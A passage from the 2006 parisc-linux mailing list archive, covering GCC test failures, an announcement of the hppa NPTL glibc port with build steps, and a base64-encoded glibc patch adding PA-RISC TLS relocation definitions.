List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: t1vYIPFIa0Aovr6aejEz1DY3Njh6dM4H
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23794

> FAIL: gcc.c-torture/compile/20001226-1.c  -O2  (test for excess errors)
> FAIL: gcc.c-torture/compile/20001226-1.c  -O3 -fomit-frame-pointer 
> (test for excess errors)
> FAIL: gcc.c-torture/compile/20001226-1.c  -O3 -g  (test for excess errors)
> FAIL: gcc.c-torture/compile/20001226-1.c  -Os  (test for excess errors)

GCC is slower than it used to be...

> FAIL: gcc.c-torture/execute/builtin-bitops-1.c execution,  -O3 
> -fomit-frame-pointer -funroll-loops
> FAIL: gcc.c-torture/execute/builtin-bitops-1.c execution,  -O3 
> -fomit-frame-pointer -funroll-all-loops -finline-functions

This is a known regression.  See
<http://gcc.gnu.org/bugzilla/show_bug.cgi?id=26244>.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPPA NPTL Support committed to libc-ports,
	help needed!
Date: Fri, 14 Jul 2006 10:56:52 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <119aab440607140756p569f4c28t4e2498969860f722@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624123 20134 80.91.229.3 (22 Nov 2014 02:42:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:03 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2006 14:57:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 14 Jul 2006 16:57:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36B167D670;
	Fri, 14 Jul 2006 08:57:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17353-04; Fri, 14 Jul 2006 08:57:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6F357D671;
	Fri, 14 Jul 2006 08:56:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 145567D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jul 2006 08:56:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17048-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jul 2006 08:56:54 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.186])
	by free.linux.hp.com (Postfix) with ESMTP id B358C7D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jul 2006 08:56:53 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id a4so216708nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jul 2006 07:56:52 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=FVQCaE+emSsh4MHa33QiWzWNfSIrSgJyuCAsxya3orBHDuCWp8z+Q2pEXze3o5Ee/AWbkrU3u3GFx0QOXH35AaU2RfX8CwTJGWPAGjse9RfFhUn0h0FYkemcf7GJFTky1bpXBEjOaNZm6agBV0/Ub0MEaLQfqr7cNHppwipIuLc=
Original-Received: by 10.78.177.3 with SMTP id z3mr1718205hue;
	Fri, 14 Jul 2006 07:56:52 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Fri, 14 Jul 2006 07:56:52 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: aed4884933380704
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9oiCcA5rRkkei6uPfGRq6CRmdWkvKNOS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23795

parisc-linux,

I've committed a first cut NPTL port for hppa to libc-ports.
Please help build and test the port!

You will need:
binutils head cvs newer than 2006-05-24.
gcc cvs head newer than 2005-07-05 with TLS turned on.
libc-ports cvs head newer than 2006-07-14
glibc cvs head to match libc-ports.

I don't have a recipe for building this yet, but it should be coming next.
If someone wants to adapt the following file, that would be great:
http://cvs.parisc-linux.org/build-tools/build-tls-tools?rev=1.7&view=markup

In essence:
- Build binutils
- Install binutils
- Build gcc with tls on, and using previous binutils (i.e. set your PATH)
- Install gcc locally.
- Build glibc with --enable-addons=ports,nptl (Set your PATH to new
gcc/binutils)
- Run make, make -k check.

Start looking at failures :)

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NPTL glibc patch.
Date: Fri, 14 Jul 2006 11:30:42 -0400
Lines: 106
Approved: news@gmane.org
Message-ID: <119aab440607140830o5b8094c5qff7746788664fa44@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_2018_6133964.1152891042736"
X-Trace: ger.gmane.org 1416624123 20136 80.91.229.3 (22 Nov 2014 02:42:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:03 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 "Jeff Bailey" <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2006 15:30:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 14 Jul 2006 17:30:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F1307D67D;
	Fri, 14 Jul 2006 09:30:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17758-04; Fri, 14 Jul 2006 09:30:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 77D027D676;
	Fri, 14 Jul 2006 09:30:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6490A7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jul 2006 09:30:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17675-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jul 2006 09:30:46 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.189])
	by free.linux.hp.com (Postfix) with ESMTP id CE3E07D670
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jul 2006 09:30:45 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id a4so227339nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jul 2006 08:30:44 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:x-google-sender-auth;
	b=RkPrHKhKf3Ycs0YsKUdwu/5a9QnB/1xFNo/jtXspzuNUMwBnES/RzOOu/skKsaftuy7L6Lt1AEPFGubs8f2LMOB2YS4ytxgafAT2ZpOaoJh5iQiHuUA41Nb/Ro0nR+7YkdC8Xpl+esueO+ZtIirLHmEc/IRU/0BPwxyzYG+MAng=
Original-Received: by 10.78.166.7 with SMTP id o7mr1766810hue;
	Fri, 14 Jul 2006 08:30:42 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Fri, 14 Jul 2006 08:30:42 -0700 (PDT)
X-Google-Sender-Auth: c57621dd26a26c68
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ioCBDdFuQEVs4OjDZnVp8dhKNzg2NUKW
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23796

------=_Part_2018_6133964.1152891042736
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

parisc-linux,

This is the only patch required to get hppa nptl building.
This patch adds the TLS reloc numbersr to elf.h in glibc.
It works around a bug I haven't found in our data initialization.
It also fixes a missing macro in upstream.

Cheers,
Carlos.

------=_Part_2018_6133964.1152891042736
Content-Type: text/x-patch; name=patch-libc-2006-07-14.diff; 
	charset=ANSI_X3.4-1968
Content-Transfer-Encoding: base64
X-Attachment-Id: f_epmphuwi
Content-Disposition: attachment; filename="patch-libc-2006-07-14.diff"

SW5kZXg6IGVsZi9lbGYuaAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiAvY3ZzL2dsaWJjL2xpYmMvZWxm
L2VsZi5oLHYKcmV0cmlldmluZyByZXZpc2lvbiAxLjE1NQpkaWZmIC11IC1wIC1yMS4xNTUgZWxm
LmgKLS0tIGVsZi9lbGYuaAkxMCBKdWwgMjAwNiAyMTo1NDowMiAtMDAwMAkxLjE1NQorKysgZWxm
L2VsZi5oCTE0IEp1bCAyMDA2IDE1OjI3OjI0IC0wMDAwCkBAIC0xNzA4LDYgKzE3MDgsOCBAQCB0
eXBlZGVmIEVsZjMyX0FkZHIgRWxmMzJfQ29uZmxpY3Q7CiAjZGVmaW5lIFJfUEFSSVNDX0xUT0ZG
X0ZQVFIxNFIJNjIJLyogTFQtcmVsLiBmY3QgcHRyLCByaWdodCAxNCBiaXRzLiAqLwogI2RlZmlu
ZSBSX1BBUklTQ19GUFRSNjQJCTY0CS8qIDY0IGJpdHMgZnVuY3Rpb24gYWRkcmVzcy4gICovCiAj
ZGVmaW5lIFJfUEFSSVNDX1BMQUJFTDMyCTY1CS8qIDMyIGJpdHMgZnVuY3Rpb24gYWRkcmVzcy4g
ICovCisjZGVmaW5lIFJfUEFSSVNDX1BMQUJFTDIxTAk2NgkvKiBMZWZ0IDIxIGJpdHMgb2YgZmRl
c2MgYWRkcmVzcyAqLworI2RlZmluZSBSX1BBUklTQ19QTEFCRUwxNFIJNzAJLyogUmlnaHQgMTQg
Yml0cyBvZiBmZGVzYyBhZGRyZXNzICovCiAjZGVmaW5lIFJfUEFSSVNDX1BDUkVMNjQJNzIJLyog
NjQgYml0cyBQQy1yZWwuIGFkZHJlc3MuICAqLwogI2RlZmluZSBSX1BBUklTQ19QQ1JFTDIyRgk3
NAkvKiAyMiBiaXRzIFBDLXJlbC4gYWRkcmVzcy4gICovCiAjZGVmaW5lIFJfUEFSSVNDX1BDUkVM
MTRXUgk3NQkvKiBQQy1yZWwuIGFkZHJlc3MsIHJpZ2h0IDE0IGJpdHMuICAqLwpAQCAtMTc2OCw2
ICsxNzcwLDI5IEBAIHR5cGVkZWYgRWxmMzJfQWRkciBFbGYzMl9Db25mbGljdDsKICNkZWZpbmUg
Ul9QQVJJU0NfTFRPRkZfVFAxNkYJMjI5CS8qIDE2IGJpdHMgTFQtVFAtcmVsLiBhZGRyZXNzLiAg
Ki8KICNkZWZpbmUgUl9QQVJJU0NfTFRPRkZfVFAxNldGCTIzMAkvKiAxNiBiaXRzIExULVRQLXJl
bC4gYWRkcmVzcy4gICovCiAjZGVmaW5lIFJfUEFSSVNDX0xUT0ZGX1RQMTZERgkyMzEJLyogMTYg
Yml0cyBMVC1UUC1yZWwuIGFkZHJlc3MuICAqLworCisjZGVmaW5lIFJfUEFSSVNDX0dOVV9WVEVO
VFJZICAgIDIzMgorI2RlZmluZSBSX1BBUklTQ19HTlVfVlRJTkhFUklUICAyMzMKKyNkZWZpbmUg
Ul9QQVJJU0NfVExTX0dEMjFMICAgICAgMjM0CS8qIEdEIDIxLWJpdCBsZWZ0ICovCisjZGVmaW5l
IFJfUEFSSVNDX1RMU19HRDE0UiAgICAgIDIzNQkvKiBHRCAxNC1iaXQgcmlnaHQgKi8KKyNkZWZp
bmUgUl9QQVJJU0NfVExTX0dEQ0FMTCAgICAgMjM2CS8qIEdEIGNhbGwgdG8gX190X2dfYSAqLwor
I2RlZmluZSBSX1BBUklTQ19UTFNfTERNMjFMICAgICAyMzcJLyogTEQgbW9kdWxlIDIxLWJpdCBs
ZWZ0ICovCisjZGVmaW5lIFJfUEFSSVNDX1RMU19MRE0xNFIgICAgIDIzOAkvKiBMRCBtb2R1bGUg
MTQtYml0IHJpZ2h0ICovCisjZGVmaW5lIFJfUEFSSVNDX1RMU19MRE1DQUxMICAgIDIzOQkvKiBM
RCBtb2R1bGUgY2FsbCB0byBfX3RfZ19hICovCisjZGVmaW5lIFJfUEFSSVNDX1RMU19MRE8yMUwg
ICAgIDI0MAkvKiBMRCBvZmZzZXQgMjEtYml0IGxlZnQgKi8KKyNkZWZpbmUgUl9QQVJJU0NfVExT
X0xETzE0UiAgICAgMjQxCS8qIExEIG9mZnNldCAxNC1iaXQgcmlnaHQgKi8KKyNkZWZpbmUgUl9Q
QVJJU0NfVExTX0RUUE1PRDMyICAgMjQyCS8qIERUUCBtb2R1bGUgMzItYml0ICovCisjZGVmaW5l
IFJfUEFSSVNDX1RMU19EVFBNT0Q2NCAgIDI0MwkvKiBEVFAgbW9kdWxlIDY0LWJpdCAqLworI2Rl
ZmluZSBSX1BBUklTQ19UTFNfRFRQT0ZGMzIgICAyNDQJLyogRFRQIG9mZnNldCAzMi1iaXQgKi8K
KyNkZWZpbmUgUl9QQVJJU0NfVExTX0RUUE9GRjY0ICAgMjQ1CS8qIERUUCBvZmZzZXQgMzItYml0
ICovCisKKyNkZWZpbmUgUl9QQVJJU0NfVExTX0xFMjFMICAgICAgUl9QQVJJU0NfVFBSRUwyMUwK
KyNkZWZpbmUgUl9QQVJJU0NfVExTX0xFMTRSICAgICAgUl9QQVJJU0NfVFBSRUwxNFIKKyNkZWZp
bmUgUl9QQVJJU0NfVExTX0lFMjFMICAgICAgUl9QQVJJU0NfTFRPRkZfVFAyMUwKKyNkZWZpbmUg
Ul9QQVJJU0NfVExTX0lFMTRSICAgICAgUl9QQVJJU0NfTFRPRkZfVFAxNFIKKyNkZWZpbmUgUl9Q
QVJJU0NfVExTX1RQUkVMMzIgICAgUl9QQVJJU0NfVFBSRUwzMgorI2RlZmluZSBSX1BBUklTQ19U
TFNfVFBSRUw2NCAgICBSX1BBUklTQ19UUFJFTDY0CisKICNkZWZpbmUgUl9QQVJJU0NfSElSRVNF
UlZFCTI1NQogCiAvKiBMZWdhbCB2YWx1ZXMgZm9yIHBfdHlwZSBmaWVsZCBvZiBFbGYzMl9QaGRy
L0VsZjY0X1BoZHIuICAqLwpJbmRleDogZWxmL3J0bGQuYwo9PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiAv
Y3ZzL2dsaWJjL2xpYmMvZWxmL3J0bGQuYyx2CnJldHJpZXZpbmcgcmV2aXNpb24gMS4zNjIKZGlm
ZiAtdSAtcCAtcjEuMzYyIHJ0bGQuYwotLS0gZWxmL3J0bGQuYwk4IEFwciAyMDA2IDE5OjUwOjUx
IC0wMDAwCTEuMzYyCisrKyBlbGYvcnRsZC5jCTE0IEp1bCAyMDA2IDE1OjI3OjI0IC0wMDAwCkBA
IC0zODAsMTQgKzM4MCwxNCBAQCBfZGxfc3RhcnQgKHZvaWQgKmFyZykKICAgICAga25vdyBpdCBp
cyBhdmFpbGFibGUuICBXZSBkbyBub3QgaGF2ZSB0byBjbGVhciB0aGUgbWVtb3J5IGlmIHdlCiAg
ICAgIGRvIG5vdCBoYXZlIHRvIHVzZSB0aGUgdGVtcG9yYXJ5IGJvb3RzdHJhcF9tYXAuICBHbG9i
YWwgdmFyaWFibGVzCiAgICAgIGFyZSBpbml0aWFsaXplZCB0byB6ZXJvIGJ5IGRlZmF1bHQuICAq
LwotI2lmbmRlZiBET05UX1VTRV9CT09UU1RSQVBfTUFQCisjaWYgIWRlZmluZWQgRE9OVF9VU0Vf
Qk9PVFNUUkFQX01BUAogIyBpZmRlZiBIQVZFX0JVSUxUSU5fTUVNU0VUCiAgIF9fYnVpbHRpbl9t
ZW1zZXQgKGJvb3RzdHJhcF9tYXAubF9pbmZvLCAnXDAnLCBzaXplb2YgKGJvb3RzdHJhcF9tYXAu
bF9pbmZvKSk7CiAjIGVsc2UKLSAgZm9yIChzaXplX3QgY250ID0gMDsKLSAgICAgICBjbnQgPCBz
aXplb2YgKGJvb3RzdHJhcF9tYXAubF9pbmZvKSAvIHNpemVvZiAoYm9vdHN0cmFwX21hcC5sX2lu
Zm9bMF0pOwotICAgICAgICsrY250KQotICAgIGJvb3RzdHJhcF9tYXAubF9pbmZvW2NudF0gPSAw
OworICAvKiBDbGVhciB0aGUgd2hvbGUgYm9vdHN0cmFwX21hcCBzdHJ1Y3R1cmUgKi8KKyAgZm9y
IChjaGFyICpjbnQgPSAoY2hhciAqKSYoYm9vdHN0cmFwX21hcCk7CisgICAgICAgY250IDwgKChj
aGFyICopJihib290c3RyYXBfbWFwKSArIHNpemVvZiAoYm9vdHN0cmFwX21hcCkpOworICAgICAg
ICpjbnQrKyA9ICdcMCcpOwogIyBlbmRpZgogI2VuZGlmCiAKSW5kZXg6IHN5c2RlcHMvdW5peC9z
eXN2L2xpbnV4L2dldGN3ZC5jCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IC9jdnMvZ2xpYmMvbGliYy9z
eXNkZXBzL3VuaXgvc3lzdi9saW51eC9nZXRjd2QuYyx2CnJldHJpZXZpbmcgcmV2aXNpb24gMS4y
NApkaWZmIC11IC1wIC1yMS4yNCBnZXRjd2QuYwotLS0gc3lzZGVwcy91bml4L3N5c3YvbGludXgv
Z2V0Y3dkLmMJMiBBcHIgMjAwNiAxNzo1ODoyOCAtMDAwMAkxLjI0CisrKyBzeXNkZXBzL3VuaXgv
c3lzdi9saW51eC9nZXRjd2QuYwkxNCBKdWwgMjAwNiAxNToyNzoyNSAtMDAwMApAQCAtMzEsNiAr
MzEsOSBAQAogCiAjaW5jbHVkZSA8a2VybmVsLWZlYXR1cmVzLmg+CiAKKyNpZm5kZWYgTUFYCisj
IGRlZmluZSBNQVgoYSwgYikgKChhKSA8IChiKSA/IChiKSA6IChhKSkKKyNlbmRpZgogCiAvKiBJ
ZiB3ZSBjb21waWxlIHRoZSBmaWxlIGZvciB1c2UgaW4gbGQuc28gd2UgZG9uJ3QgbmVlZCB0aGUg
ZmVhdHVyZQogICAgdGhhdCBnZXRjd2QoKSBhbGxvY2F0ZXMgdGhlIGJ1ZmZlcnMgaXRzZWxmLiAg
Ki8K
------=_Part_2018_6133964.1152891042736
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_2018_6133964.1152891042736--



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Warning about bad kernel headers.
Date: Sat, 15 Jul 2006 18:26:20 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <119aab440607151526n1318ba80l2523528ac607eaae@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624124 20137 80.91.229.3 (22 Nov 2014 02:42:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:04 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 "Jeff Bailey" <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2006 22:26:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 16 Jul 2006 00:26:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF3D67D6D4;
	Sat, 15 Jul 2006 16:26:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05359-01; Sat, 15 Jul 2006 16:26:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8E9C7D6CF;
	Sat, 15 Jul 2006 16:26:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D45EC7D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 16:26:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04902-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 16:26:21 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.173])
	by free.linux.hp.com (Postfix) with ESMTP id 85F1E7D6CB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 16:26:21 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so1273022ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 15:26:20 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=gBIuHiCnWXNR4n5rhHHCQM1PExRd0361GKDJDqwiD2j5JS9vWBlkZgd+k8CD017p2aBLChtJZdeaZVM1YAV6jxFDgYTjKYJWfIJjhjLh/AaHetG+YfCiSHtrI9BoaZn9pQt6qjrF6VH0PY2YINEHaylmJCXRU47cRrKCKQkBFQw=
Original-Received: by 10.78.175.14 with SMTP id x14mr279968hue;
	Sat, 15 Jul 2006 15:26:20 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Sat, 15 Jul 2006 15:26:20 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 361fc1a79e6e6f8c
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qlKBcaRabmw7vq2HZzdLzEFHUzc4clFS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23797

parisc-linux,

A quick warning, if your kernel headers file unistd.h contain "#define
